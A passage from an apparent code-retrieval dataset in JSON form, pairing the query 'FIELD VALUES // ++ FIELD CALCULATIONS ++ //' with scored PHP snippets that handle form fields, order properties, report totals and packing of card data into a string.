$this->options['status_start_message']));\r\n\r\n // Sarted\r\n $this->started = true;\r\n }", "title": "" }, { "docid": "8752b2fcff3af1d75f94a876dd67de99", "score": "0.43313262", "text": "public function init()\r\n\t{\r\n\t\tparent::init();\r\n\t}", "title": "" }, { "docid": "8752b2fcff3af1d75f94a876dd67de99", "score": "0.43313262", "text": "public function init()\r\n\t{\r\n\t\tparent::init();\r\n\t}", "title": "" }, { "docid": "f8e137956f69bfc62796902e68a5918b", "score": "0.4330773", "text": "function showBegin( $appctx )\n\t{\n\t\t$appctx->Plus() ;\n\t\t$appctx->Indent() ;\n\t\techo( \"<img id=\\\"$this->idx\\\" \" ) ;\n\t\techo( \"class=\\\"$this->style\\\" src=\\\"$this->image\\\" \" ) ;\n\t\techo( \"width=\\\"$this->width\\\" height=\\\"$this->height\\\" >\\n\") ;\n\t}", "title": "" }, { "docid": "f03ad4da20b8c32e81da320d786af8d5", "score": "0.4330592", "text": "public function onInit();", "title": "" }, { "docid": "f7ea3cb977ac8e09663419758d2e838a", "score": "0.43295118", "text": "function _startElement($parser, $name, $attrs)\n {\n /* Call the assigned handler for this element, if one is\n * available. */\n if (in_array($name, array_keys($this->_handlers))) {\n call_user_func(array(&$this, $this->_handlers[$name]), true, $attrs);\n }\n }", "title": "" }, { "docid": "b466f68ae7c750d39cb59992454da519", "score": "0.43267715", "text": "public function setStartLine(int $startLine = 0)\n {\n $this->startLine = $startLine;\n }", "title": "" } ]
f7d862d0a0e668349fae4dc3692ba33e
FIELD VALUES // ++ FIELD CALCULATIONS ++ //
[ { "docid": "c900ce2632928522c070a982584ce139", "score": "0.0", "text": "protected static function PackCardData($sNum,$sCVV,$sExp) {\n\t$sData =\n\t KC_SEP_PACK.$sNum\n\t .KC_SEP_PACK.$sCVV\n\t .KC_SEP_PACK.$sExp;\n\treturn $sData;\n }", "title": "" } ]
[ { "docid": "dbde7d259865578aa06c10f30473a33e", "score": "0.7127311", "text": "abstract public function getFieldValues();", "title": "" }, { "docid": "298a9f31e7f3c45d74c8d757ded381c1", "score": "0.65786195", "text": "function getFieldValues()\n {\n $this->mycount++;\n \n $tablename = $this->m_sTablename;\n $aFieldNames = $this->m_aFieldNames;\n $aOrderBy = $this->m_aOrderBy;\n $myvalues = $this->m_oPageHelper->getFieldValues($tablename, $aFieldNames, $aOrderBy);\n $myvalues['formmode'] = 'E';\n \n return $myvalues;\n }", "title": "" }, { "docid": "6de915fe03135d037565370d3dc0a08f", "score": "0.633088", "text": "abstract protected function inputFields();", "title": "" }, { "docid": "99a0d443c6126566ea6a61b33aa56789", "score": "0.62030375", "text": "abstract public function get_results_fields();", "title": "" }, { "docid": "e3037e1e50329ef05c4fb6653e222d8f", "score": "0.604862", "text": "function postprocessFields($field, $value) {\r\n\tif($field == ('format' or 'catSubjectFormat')) {\r\n\t\t$value = reverseSortingFormat($value);\r\n\t}\r\n\tif($field == 'language') {\r\n\t\tinclude('languageCodes.php');\r\n\t\t$value = $languageCodes[$value];\r\n\t}\r\n\tif($field == 'year') {\r\n\t\tif($value == 9999) {\r\n\t\t\t$value = 'ohne Jahr';\r\n\t\t}\r\n\t}\r\n\treturn($value);\r\n}", "title": "" }, { "docid": "3ccb08213fb24bf9a4fbf7530f725d65", "score": "0.5965737", "text": "function fieldvalue($field=\"field_condition_id\",$id=\"\",$condition=\"\",$order=\"\")\n\t{\n\t\t$rs=$this->fetchrecordset($id, $condition, $order);\n\t\t$ret=0;\n\t\twhile($rw=mysql_fetch_assoc($rs))\n\t\t{\n\t\t\t$ret=$rw[$field];\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "92077fec6062edb4e77a6e77b3e8be23", "score": "0.59398514", "text": "public function processFields()\n {\n foreach ($this->addFields() as $field) {\n $this->addField($field);\n }\n }", "title": "" }, { "docid": "1a7fbf79d51fe2b749b6fe2e4808a7d9", "score": "0.5933487", "text": "abstract protected function outputFields();", "title": "" }, { "docid": "00f12aa321dad8ed07df8f69ca5672f7", "score": "0.59277165", "text": "public function compileFields()\n {\n if (count($this->fields) === 0) return;\n\n $this->compiled_values[] = 'fields=' . implode(',', $this->fields);\n }", "title": "" }, { "docid": "ffa34c4c4d8de5165973b6ff2745df34", "score": "0.5922668", "text": "public function process_value() {\r\n\r\n\t}", "title": "" }, { "docid": "5763523cbee3a8187362e4c7c34fd5b8", "score": "0.5891754", "text": "function getFieldValues () {\n\t\t\n\t\t$query = \"SELECT * FROM `\".BIT_DB_PREFIX.\"ticket_field_values` ORDER BY `sort_order`\";\n\t\t\n\t\t$result = $this->mDb->query ($query);\n\t\t$ret = array ();\n\t\t\n\t\twhile( $res = $result->fetchRow() ) {\n\t\t\t$ret[$res['def_id']][] = $res;\n\t\t}\n\t\t\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "496186236b929df538746fbf5d64fabe", "score": "0.5885216", "text": "protected function _evaluateFields(){\n\t\t$countArray = array();\n\t\t$return = array();\n\t\t$foundColorFields = $this->_foundColorFields;\n\t\t\n\t\t// Zählen\n\t\t$checkedFields = count($foundColorFields);\n\t\tforeach($foundColorFields as $key => $colorField){\n\t\t\tif(is_numeric($colorField) OR gettype($colorField) == 'string'){\n\t\t\t\tif(array_key_exists($colorField,$countArray)){\n\t\t\t\t\t$countArray[$colorField] = $countArray[$colorField] + 1;\n\t\t\t\t} else {\n\t\t\t\t\t$countArray[$colorField] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_countedColorFields = $countArray;\n\t\t\n\t\t// Auswerten\n\t\t$foundFields = count($countArray);\n\t\tforeach($this->_colorFields as $fieldName => $value){\n\t\t\tif(array_key_exists($fieldName,$countArray)){\n\t\t\t\t// $checkedFields = 100%\n\t\t\t\t// $countArray[$fieldName] = gezählt\n\t\t\t\t// $checkedFields/$countArray[$fieldName] * 100 = prozent\n\t\t\t\t\n\t\t\t\t// $return[$fieldName] = $checkedFields/$countArray[$fieldName] * 100;\n\t\t\t\t// $return[$fieldName] = (int) floor($checkedFields/$countArray[$fieldName]);\n\t\t\t\t// $return[$fieldName] = (int) floor($foundFields/$countArray[$fieldName] * 100);\n\t\t\t\t$return[$fieldName] = $countArray[$fieldName]/$checkedFields * 100;\n\t\t\t} else {\n\t\t\t\t$return[$fieldName] = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "754280293e7754afcf753f3f4ef7f1be", "score": "0.58672154", "text": "function getDataSet($field,$definition,$values)\n {\n \n }", "title": "" }, { "docid": "a9029f2814f5051b0a88c747afba2bf8", "score": "0.5860202", "text": "public function getFieldFriendlyValues();", "title": "" }, { "docid": "cd147291810b4a4532e1a29cb8e57459", "score": "0.58569294", "text": "public function setCalculatedFields();", "title": "" }, { "docid": "82369edb3256db6e323a5aa6aacce9c1", "score": "0.58362776", "text": "function getFields();", "title": "" }, { "docid": "82369edb3256db6e323a5aa6aacce9c1", "score": "0.58362776", "text": "function getFields();", "title": "" }, { "docid": "567a7d1a9479c4090b22152af2ccb545", "score": "0.58085465", "text": "function get_field_value($field_source)\n\t{\n\t\tglobal $db, $dbs, $dbe, $table_prefix, $db_columns, $related_columns, $related_table_alias, $apply_translation, $date_formats, $date_edit_format, $datetime_edit_format;\n\n\t\tif (preg_match_all(\"/\\{(\\w+)\\}/i\", $field_source, $matches)) {\n\t\t\t$field_value = $field_source;\n\t\t\tfor($p = 0; $p < sizeof($matches[1]); $p++) {\n\t\t\t\t$f_source = $matches[1][$p];\n\t\t\t\t$f_source_value = \"\"; \n\t\t\t\t// get field type\n\t\t\t\t$column_type = TEXT; $column_name = \"\"; $column_format = \"\"; \t\t\t\t\n\t\t\t\tif (preg_match(\"/^order_property_/\", $f_source)) {\n\t\t\t\t\t$column_code = substr($f_source, 15);\n\t\t\t\t\t$order_id = $dbe->f(\"order_id\");\n\t\t\t\t\t$order_properties = array();\n\t\t\t\t\t$properties_ids = array();\n\t\t\t\t\tif (preg_match(\"/^\\d+$/\", $column_code)) {\n\t\t\t\t\t\t$properties_ids[] = $column_code;\n\t\t\t\t\t} else { \n\t\t\t\t\t\t$sql = \" SELECT property_id \"; \n\t\t\t\t\t\t$sql .= \" FROM \" . $table_prefix . \"order_custom_properties ocp \";\n\t\t\t\t\t\t$sql .= \" WHERE property_code=\" . $db->tosql($column_code, TEXT);\n\t\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\t\twhile ($dbs->next_record()) {\n\t\t\t\t\t\t\t$property_id = $dbs->f(\"property_id\");\n\t\t\t\t\t\t\t$properties_ids[] = $property_id;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (count($properties_ids)) {\n\t\t\t\t\t\t$sql = \" SELECT op.property_id, op.property_type, op.property_name, op.property_value, \";\n\t\t\t\t\t\t$sql .= \" op.property_price, op.property_points_amount, op.tax_free \";\n\t\t\t\t\t\t$sql .= \" FROM \" . $table_prefix . \"orders_properties op \";\n\t\t\t\t\t\t$sql .= \" WHERE op.order_id=\" . $dbe->tosql($order_id, INTEGER);\n\t\t\t\t\t\t$sql .= \" AND op.property_id IN (\" . $dbe->tosql($properties_ids, INTEGERS_LIST) . \") \";\n\t\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\t\twhile ($dbs->next_record()) {\n\t\t\t\t\t\t\t$property_value = $dbs->f(\"property_value\");\n\t\t\t\t\t\t\tif (strlen($f_source_value)) { $f_source_value .= \"; \"; }\n\t\t\t\t\t\t\tif ($apply_translation) {\n\t\t\t\t\t\t\t\t$f_source_value .= get_translation($property_value);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$f_source_value .= $property_value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if (preg_match(\"/^oi_order_item_property_/\", $f_source)) {\n\t\t\t\t\t$property_id = substr($f_source, 23);\n\t\t\t\t\t$order_item_id = $dbe->f(\"oi_order_item_id\");\n\t\t\t\t\t$sql = \" SELECT property_value FROM \" . $table_prefix . \"orders_items_properties \";\n\t\t\t\t\t$sql .= \" WHERE order_item_id=\" . $order_item_id;\n\t\t\t\t\t$sql .= \" AND (property_id=\" . $dbe->tosql($property_id, INTEGER, true, false);\n\t\t\t\t\t$sql .= \" OR property_name=\" . $dbe->tosql($property_id, TEXT) . \") \";\n\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\tif ($dbs->next_record()) {\n\t\t\t\t\t\tif ($apply_translation) {\n\t\t\t\t\t\t\t$f_source_value = get_translation($dbs->f(\"property_value\"));\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$f_source_value = $dbs->f(\"property_value\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if (preg_match(\"/^oi_item_properties$/\", $f_source)) {\n\t\t\t\t\t$order_item_id = $dbe->f(\"oi_order_item_id\");\n\t\t\t\t\t$sql = \" SELECT property_name, property_value, additional_price FROM \" . $table_prefix . \"orders_items_properties \";\n\t\t\t\t\t$sql .= \" WHERE order_item_id=\" . $dbe->tosql($order_item_id, INTEGER);\n\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\twhile ($dbs->next_record()) {\n\t\t\t\t\t\tif ($apply_translation) {\n\t\t\t\t\t\t\t$property_name= get_translation($dbs->f(\"property_name\"));\n\t\t\t\t\t\t\t$property_value = get_translation($dbs->f(\"property_value\"));\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$property_name = $dbs->f(\"property_name\");\n\t\t\t\t\t\t\t$property_value = $dbs->f(\"property_value\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$additional_price = $dbs->f(\"additional_price\");\n\t\t\t\t\t\tif ($f_source_value) { $f_source_value .= \";\"; }\n\t\t\t\t\t\t$f_source_value .= $property_name.\": \".$property_value;\n\t\t\t\t\t\tif ($additional_price > 0) {\n\t\t\t\t\t\t\t$f_source_value .= \" (\".currency_format($additional_price).\")\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if (preg_match(\"/^oi_item_links$/\", $f_source)) {\n\t\t\t\t\t$order_item_id = $dbe->f(\"oi_order_item_id\");\n\t\t\t\t\t$sql = \" SELECT download_path FROM \" . $table_prefix . \"items_downloads \";\n\t\t\t\t\t$sql .= \" WHERE order_item_id=\" . $dbe->tosql($order_item_id, INTEGER);\n\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\twhile ($dbs->next_record()) {\n\t\t\t\t\t\t$download_path = $dbs->f(\"download_path\");\n\t\t\t\t\t\tif ($f_source_value) { $f_source_value .= \";\"; }\n\t\t\t\t\t\t$f_source_value .= $download_path;\n\t\t\t\t\t}\n\t\t\t\t} else if (preg_match(\"/^oi_item_serials$/\", $f_source)) {\n\t\t\t\t\t$order_item_id = $dbe->f(\"oi_order_item_id\");\n\t\t\t\t\t$sql = \" SELECT serial_number FROM \" . $table_prefix . \"orders_items_serials \";\n\t\t\t\t\t$sql .= \" WHERE order_item_id=\" . $dbe->tosql($order_item_id, INTEGER);\n\t\t\t\t\t$dbs->query($sql);\n\t\t\t\t\twhile ($dbs->next_record()) {\n\t\t\t\t\t\t$serial_number = $dbs->f(\"serial_number\");\n\t\t\t\t\t\tif ($f_source_value) { $f_source_value .= \";\"; }\n\t\t\t\t\t\t$f_source_value .= $serial_number;\n\t\t\t\t\t}\n\t\t\t\t} else if (isset($db_columns[$f_source])) {\n\t\t\t\t\t$column_type = isset($db_columns[$f_source][\"data_type\"]) ? $db_columns[$f_source][\"data_type\"] : $db_columns[$f_source][1];\n\t\t\t\t\t$column_name = $f_source;\n\t\t\t\t} else if (isset($related_table_alias) && $related_table_alias && preg_match(\"/^\".$related_table_alias.\"_/\", $f_source)) {\n\t\t\t\t\t$related_column_name = preg_replace(\"/^\".$related_table_alias.\"_/\", \"\", $f_source);\n\t\t\t\t\tif (isset($related_columns[$related_column_name])) {\n\t\t\t\t\t\t$column_type = $related_columns[$related_column_name][\"data_type\"];\n\t\t\t\t\t\t$column_name = $f_source;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$date_formats_regexp = implode(\"|\", $date_formats);\n\t\t\t\t\tif (preg_match(\"/\".$date_formats_regexp.\"$/\", $f_source, $format_match)) {\n\t\t\t\t\t\t$f_source_wf = preg_replace(\"/_\".$format_match[0].\"$/\", \"\", $f_source);\n\t\t\t\t\t\tif (isset($db_columns[$f_source_wf])) {\n\t\t\t\t\t\t\t$check_type = isset($db_columns[$f_source_wf][\"data_type\"]) ? $db_columns[$f_source_wf][\"data_type\"] : $db_columns[$f_source_wf][1];\n\t\t\t\t\t\t\tif (($check_type == DATE || $check_type == DATETIME)) {\n\t\t\t\t\t\t\t\t$column_name = $f_source_wf;\n\t\t\t\t\t\t\t\t$column_type = isset($db_columns[$column_name][\"data_type\"]) ? $db_columns[$column_name][\"data_type\"] : $db_columns[$column_name][1];\n\t\t\t\t\t\t\t\t$column_format = $format_match[0];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ($column_name) {\n\t\t\t\t\tif ($column_type == DATE) {\n\t\t\t\t\t\t$f_source_value = $dbe->f($column_name, DATETIME);\n\t\t\t\t\t\tif (is_array($f_source_value)) {\n\t\t\t\t\t\t\tif ($column_format) {\n\t\t\t\t\t\t\t\t$f_source_value = va_date(array($column_format), $f_source_value);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$f_source_value = va_date($date_edit_format, $f_source_value);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if ($column_type == DATETIME) {\n\t\t\t\t\t\t$f_source_value = $dbe->f($column_name, DATETIME);\n\t\t\t\t\t\tif (is_array($f_source_value)) {\n\t\t\t\t\t\t\tif ($column_format) {\n\t\t\t\t\t\t\t\t$f_source_value = va_date(array($column_format), $f_source_value);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$f_source_value = va_date($datetime_edit_format, $f_source_value);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$f_source_value = $dbe->f($column_name);\n\t\t\t\t\t\tif ($apply_translation) {\n\t\t\t\t\t\t\t$f_source_value = get_translation($f_source_value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$field_value = str_replace(\"{\".$f_source.\"}\", $f_source_value, $field_value);\n\t\t\t\t} else {\n\t\t\t\t\t$field_value = str_replace(\"{\".$f_source.\"}\", $f_source_value, $field_value);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t$field_value = $field_source;\n\t\t}\n\n\t\treturn $field_value;\n\t}", "title": "" }, { "docid": "0805a90c2b19700625c2b0ed533e34dd", "score": "0.57731485", "text": "public static function fields();", "title": "" }, { "docid": "4799287ce2c621e24df3beecaa787d0b", "score": "0.57472265", "text": "protected function getFieldArray($reportID='') \n \t {\n// \t \t $FALSE = 0;\n $groupBy = 'cim_hrdb_fields.fields_id';\n $dbFunction = 'COUNT';\n $funcParam = 'person_id';\n\t \t \n\t\t $fields = new RowManager_FormFieldManager();\n//\t\t $fvalues = new RowManager_FieldValueManager();\n\t\t $ftypes = new RowManager_FieldTypeManager();\n\t\t \n// \t\t $custom_reports = new RowManager_CustomReportsManager();\t//$reportID\n\t\t $custom_fields = new RowManager_CustomFieldsManager();\t//$reportID\t\t \n\t\t if ($reportID != '')\n\t\t {\n\t\t \t$custom_fields->setReportID($reportID);\n\t \t }\n\t \t \n\t \t $fieldvalues = new RowManager_FormFieldValueManager();\t\t// \"NEW\" (in order to sort fields by # of values)\n\n\t\t \n// \t\t echo \"personID = \".$personID;\n\t\t \n// \t\t if ($formID != '') \n// \t\t {\n// \t\t\t \t$fields->setFormID($formID);\n// \t\t \t\t//$fvalues->setRegID($regID);\n// \t }\n\n\t\t $fieldInfo = new MultiTableManager();\n\t\t $fieldInfo->addRowManager($fields);\n//\t\t $fieldInfo->addRowManager($fvalues, new JoinPair($fvalues->getJoinOnFieldID(), $fields->getJoinOnFieldID()));\n\t\t $fieldInfo->addRowManager($ftypes, new JoinPair($fields->getJoinOnFieldTypeID(), $ftypes->getJoinOnFieldTypeID()));\n\t\t $fieldInfo->addRowManager($custom_fields, new JoinPair($custom_fields->getJoinOnFieldID(), $fields->getJoinOnFieldID()));\n\t\t $fieldInfo->addRowManager($fieldvalues, new JoinPair($fieldvalues->getJoinOnFieldID(), $fields->getJoinOnFieldID()));\n\n // use GROUP BY and $dbFunction = 'COUNT' to sort fields by # of values\n if ($groupBy != '') {\n \t\t$fieldInfo->setGroupBy($groupBy);\t//'campus_desc');\n \t\t}\n \t\t\n \t\tif ($dbFunction != '') {\n\t\t \t$fieldInfo->setFunctionCall($dbFunction,$funcParam);\n\t \t}\n\t \t$fieldInfo->setSortOrder('COUNT(person_id) DESC');\t\t \n\t\t \n// \t\t $fieldInfo->setSortOrder('fields_priority');\n// \t\t echo $fieldInfo->createSQL();\n\t\t \n $valuesIterator = $fieldInfo->getListIterator(); \n $valuesArray = $valuesIterator->getDataList();\t\n \n// \t\t echo \"values:<br><pre>\".print_r($valuesArray,true).\"</pre>\";\n\n // map the fields_id of each field values row to the label of that particular form field\n// $idx = 0;\n// reset($valuesArray);\n// \tforeach(array_keys($valuesArray) as $k)\n// \t\t\t{\n// \t\t\t\t$record = current($valuesArray);\t\t\t\t\n// \t\t\t\t\n// \t\t\t\t// store mapping associating form field label with fields_id\n// \t\t\t\t$this->formFieldToFieldIDmapper['form_field'.$idx] = $record['fields_id'];\t\t\t\n// \t\t\t\n// \t\t\t\tnext($valuesArray);\n// \t\t\t\t$idx++;\n// \t\t\t} \n\n// \t\t echo \"field id values:<br><pre>\".print_r($this->formFieldToFieldIDmapper,true).\"</pre>\";\n\n\n\n $reportFields = new MultiTableManager(); \n $customfields = new RowManager_CustomFieldsManager();\n $customfields->setReportID($this->customreport_id);\t\t// TODO? error checking on ID\n $fieldvalues = new RowManager_FormFieldValueManager();\n \n $reportFields->addRowManager($customfields);\n $reportFields->addRowManager($fieldvalues, new JoinPair( $customfields->getJoinOnFieldID(), $fieldvalues->getJoinOnFieldID()));\n \n // use GROUP BY and $dbFunction = 'COUNT' to quickly get summary data per campus\n if ($groupBy != '') {\n \t\t$reportFields->setGroupBy($groupBy);\t//'campus_desc');\n \t\t}\n \t\t\n \t\tif ($dbFunction != '') {\n\t\t \t$reportFields->setFunctionCall($dbFunction,$funcParam);\n\t \t}\n\t \t$reportFields->setSortOrder('COUNT(person_id) DESC');\n\n\n\t\t\t\t\t\n return $valuesArray; \n\t}", "title": "" }, { "docid": "69c5291ac5aee6a07aef9fe766e63954", "score": "0.5746571", "text": "public function process_fields($fields) {\n foreach ($fields as $key => $value) {\n if ($value['type'] == 'datalist' || $value['type'] == 'dataSelect') {\n switch ($value['search']) {\n case 'users':\n $users = User::whereNull('play_id')->\n orderby('name', 'ASC')->pluck('name', 'id');\n $result = $users;\n break;\n }\n if ($value['type'] == 'dataSelect') {\n $value['arraykeyval'] = $result;\n } else {\n $value = $result;\n }\n }\n $list[$key] = $value;\n }\n return $list;\n }", "title": "" }, { "docid": "126820cb791e329d9b257b661e8bf4dc", "score": "0.5746279", "text": "function db_fields_sum($db_id, $data)\n {\n $ous = $this->user->ou_fetch();\n $return = array();\n foreach ($this->db_fields_fetch_core($db_id)['flat'] as $field) {\n#1: Textfield; 3:Date/time\n if ($field['field_type'] == 1 or $field['field_type'] == 3) {\n foreach ($data as $ou_id => $value) {\n if (empty($return[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] = $value[$field['field_name_internal']];\n } elseif (!empty($value[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] .= ' | ' . $value[$field['field_name_internal']];\n }\n }\n } #2:Numerical\n elseif ($field['field_type'] == 2) {\n foreach ($data as $ou_id => $value) {\n if (empty($return[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] = $value[$field['field_name_internal']];\n } else {\n $return[$field['field_name_internal']] += $value[$field['field_name_internal']];\n }\n }\n }#4:yes/no\n elseif ($field['field_type'] == 4) {\n foreach ($data as $ou_id => $value) {\n if ($value[$field['field_name_internal']] == true or $value[$field['field_name_internal']] == 1) {\n $return[$field['field_name_internal']] = true;\n }\n }\n if (empty($return[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] = false;\n }\n }#6: sample identifier; 7: multisample identifier\n elseif ($field['field_type'] == 6 or $field['field_type'] == 7) {\n foreach ($data as $ou_id => $value) {\n if (!empty($value[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] = $value[$field['field_name_internal']];\n }\n if (empty($return[$field['field_name_internal']])) {\n $return[$field['field_name_internal']] = NULL;\n }\n }\n }#8: OU\n elseif ($field['field_type'] == 8) {\n $ou_list = array();\n foreach ($data as $ou_id => $value) {\n $ou_list[$value['ou_id']] = $ous[$value['ou_id']]['ou_name'];\n }\n#$return['ou_id'] = implode(', ', array_keys($ou_list));\n $return['ou_id'] = implode(', ', $ou_list);\n }#9: numerical/multidimensional\n elseif ($field['field_type'] == 9) {\n $return[$field['field_name_internal']] = $this->db_field_format_multidim($field, $data);\n }\n }\n return $return;\n }", "title": "" }, { "docid": "94bcdc5060c597266d4860ec3e84abef", "score": "0.5734398", "text": "function _list_field()\n\t{\n\t\t// VARCHAR\n\t\t$fields['code'] = ['type' => 'VARCHAR', 'constraint' => '40', 'null' => TRUE];\n\t\t// TEXT\n\t\t$fields['description'] = ['type' => 'TEXT', 'null' => TRUE];\n\t\t// ID & FOREIGN ID\n\t\t$fields['_id'] \t= ['type' => 'INT', 'constraint' => '32', 'null' => TRUE];\n\t\t// DATE\n\t\t$fields['_date'] = \t['type' => 'DATE', 'null' => TRUE];\n\t\t// NUMERIC PERCENTAGE\n\t\t$fields['percent'] \t= ['type' => 'NUMERIC', 'constraint' => '18,4', 'null' => TRUE];\t\n\t\t// NUMERIC AMOUNT\n\t\t$fields['amount'] = ['type' => 'NUMERIC', 'constraint' => '18,2', 'null' => TRUE];\n\t}", "title": "" }, { "docid": "94bcdc5060c597266d4860ec3e84abef", "score": "0.5734398", "text": "function _list_field()\n\t{\n\t\t// VARCHAR\n\t\t$fields['code'] = ['type' => 'VARCHAR', 'constraint' => '40', 'null' => TRUE];\n\t\t// TEXT\n\t\t$fields['description'] = ['type' => 'TEXT', 'null' => TRUE];\n\t\t// ID & FOREIGN ID\n\t\t$fields['_id'] \t= ['type' => 'INT', 'constraint' => '32', 'null' => TRUE];\n\t\t// DATE\n\t\t$fields['_date'] = \t['type' => 'DATE', 'null' => TRUE];\n\t\t// NUMERIC PERCENTAGE\n\t\t$fields['percent'] \t= ['type' => 'NUMERIC', 'constraint' => '18,4', 'null' => TRUE];\t\n\t\t// NUMERIC AMOUNT\n\t\t$fields['amount'] = ['type' => 'NUMERIC', 'constraint' => '18,2', 'null' => TRUE];\n\t}", "title": "" }, { "docid": "53d0548f69334b568b4a9cf9de781d80", "score": "0.57289517", "text": "abstract public function getFields();", "title": "" }, { "docid": "53d0548f69334b568b4a9cf9de781d80", "score": "0.57289517", "text": "abstract public function getFields();", "title": "" }, { "docid": "52708ec1693daaa0d48c6b222850ed9e", "score": "0.5670076", "text": "private function _applyManualCalculations(&$dataTotal, $depDataTotal, $fields)\n {\n if (is_array($depDataTotal) && !empty($depDataTotal)) {\n @extract($depDataTotal);\n }\n # Extract the array values and create variables out of them\n if (is_array($dataTotal) && !empty($dataTotal)) {\n @extract($dataTotal);\n }\n //\techo $avgPosition;\n //\techo $impressions\n \n foreach ($fields as $field) {\n switch ($field) {\n case 'ctr':\n if ($impressions > 0) {\n // var_dump($clicks,$impressions);\n\n $dataTotal['ctr'] = round(($clicks/$impressions)*100, 2);\n } else {\n $dataTotal['ctr'] = '0';\n }\n\n break;\n case 'avgCPC':\n if ($clicks > 0) {\n $dataTotal['avgCPC'] = round(($cost/1000000)/$clicks, 2);\n } else {\n $dataTotal['avgCPC'] = '0.00';\n }\n\n break;\n case 'cost':\n if ($cost) {\n $dataTotal['cost'] = round($cost/1000000, 2);\n } else {\n $dataTotal['cost'] = 0;\n }\n\n break;\n case 'costAllConv':\n if ($totalConvValue) {\n $dataTotal['costAllConv'] = round(($cost/$totalConvValue)/1000000, 2);\n } else {\n $dataTotal['costAllConv'] = '0.00';\n }\n\n break;\n case 'convRate':\n\n if ($clicks) {\n $dataTotal['convRate'] = round(($totalConvValue/$clicks)*100, 2);\n } else {\n $dataTotal['convRate'] = '0';\n }\n\n break;\n\n case 'avgPosition':\n if ($impressions) {\n $dataTotal['avgPosition'] = round(($avgPosition/$impressions), 1);\n } else {\n $dataTotal['avgPosition'] = '0';\n }\n break;\n \n case 'costConv':\n \n \n if ($costConv) {\n //var_dump($dataTotal['conversions']);\n $dataTotal['costConv'] = round(($cost/$dataTotal['conversions'])/1000000, 2);\n \n } else {\n \n $dataTotal['costConv'] = '0';\n }\n break;\n\n case 'totalConvValue':\n if ($totalConvValue) {\n $dataTotal['totalConvValue'] = $totalConvValue;\n //round(($totalConvValue/$convertedClicks),1);\n } else {\n $dataTotal['totalConvValue'] = '0';\n }\n break;\n case 'valueConv' :\n if ($valueConv) {\n $dataTotal['valueConv'] = round($totalConvValue/$conversions, 2);\n //round(($totalConvValue/$convertedClicks),1);\n } else {\n $dataTotal['valueConv'] = '0';\n }\n }\n }\n /*\tif(in_array($field,array_keys($dataTotal))){\n echo $manualColumns[$field]['formula'];\n eval($manualColumns[$field]['formula']);\n }*/\n\n\n\n //echo '<pre>';print_r($dataTotal);\n\n\n return $dataTotal;\n }", "title": "" }, { "docid": "77d4873ffba80d190a23297fd98ead82", "score": "0.5662593", "text": "public function fields();", "title": "" }, { "docid": "77d4873ffba80d190a23297fd98ead82", "score": "0.5662593", "text": "public function fields();", "title": "" }, { "docid": "77d4873ffba80d190a23297fd98ead82", "score": "0.5662593", "text": "public function fields();", "title": "" }, { "docid": "45a5a15c0790e61b0c911d5181c7bd8f", "score": "0.5657289", "text": "public function formatValues()\n {\n $this->_fieldValues = $this->_fieldValues[0];\n }", "title": "" }, { "docid": "a619bd79582135be16f8fff1d6a0dc4d", "score": "0.5645608", "text": "function fieldValue($field=\"race_group_id\",$id=\"\",$condition=\"\",$order=\"\")\n\t{\n\t\t$rs=$this->fetchRecordSet($id, $condition, $order);\n\t\t$ret=0;\n\t\twhile($rw=mysql_fetch_assoc($rs))\n\t\t{\n\t\t\t$ret=$rw[$field];\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "c60b29ce8c88362d11385ea69cae0cc0", "score": "0.5641144", "text": "protected function FillFieldsValuesFromRequest() {\n\t\tforeach($this->m_fieldsMetadata as $lFieldName => $lFieldInfo){\n\t\t\t$lFieldValue = $this->GetValueFromRequest($lFieldName, $this->m_formMethod);\n\t\t\t// var_dump('REQ', $lFieldName, $lFieldValue['value'],\n\t\t\t// $_REQUEST[$lFieldName]);\n\t\t\t// echo \"\\n <br/>\";\n\t\t\t$this->m_fieldsValues[$lFieldName] = $lFieldValue['value'];\n\t\t}\n\t}", "title": "" }, { "docid": "56e4246e21fd34327bf50a153ba3958e", "score": "0.5620811", "text": "public function value($field);", "title": "" }, { "docid": "760cae4597d6602653e1b5e0a8af2573", "score": "0.5618983", "text": "function pcp_get_field( $field_cfg, $map_name='', $field_name='' )\n{\n global $values_list, $tables_linked, $classes_fields, $user_maps, $user_fields;\n\n $res = array();\n $found = false;\n if ( empty($field_name) )\n {\n @reset($user_fields);\n while ( list($field_name, $field_data) = @each($user_fields) )\n {\n $found = ($field_data[$field_name]['input_id'] == $field_cfg);\n if ( $found )\n 